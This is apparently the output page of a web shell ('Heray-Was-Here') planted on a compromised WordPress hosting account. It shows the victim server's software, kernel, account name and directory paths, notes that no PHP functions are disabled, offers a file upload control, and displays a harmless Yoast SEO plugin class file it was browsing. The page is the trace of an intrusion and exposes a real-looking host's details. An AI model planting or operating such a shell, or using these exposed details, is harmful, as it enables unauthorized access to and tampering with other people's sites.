Heray-Was-Here
Server : LiteSpeed
System : Linux server310.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : myveqfxv ( 6863)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/myveqfxv/www/wp-content/plugins/wordpress-seo/src/ai/generator/domain/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/myveqfxv/www/wp-content/plugins/wordpress-seo/src/ai/generator/domain/suggestion.php
<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.

namespace Yoast\WP\SEO\AI\Generator\Domain;

/**
 * Class Suggestion
 * Represents a suggestion from the AI Generator API.
 */
class Suggestion {

	/**
	 * The suggestion text.
	 *
	 * @var string
	 */
	private $value;

	/**
	 * The constructor.
	 *
	 * @param string $value The suggestion text.
	 */
	public function __construct( string $value ) {
		$this->value = $value;
	}

	/**
	 * Returns the suggestion text.
	 *
	 * @return string
	 */
	public function get_value(): string {
		return $this->value;
	}
}

Hry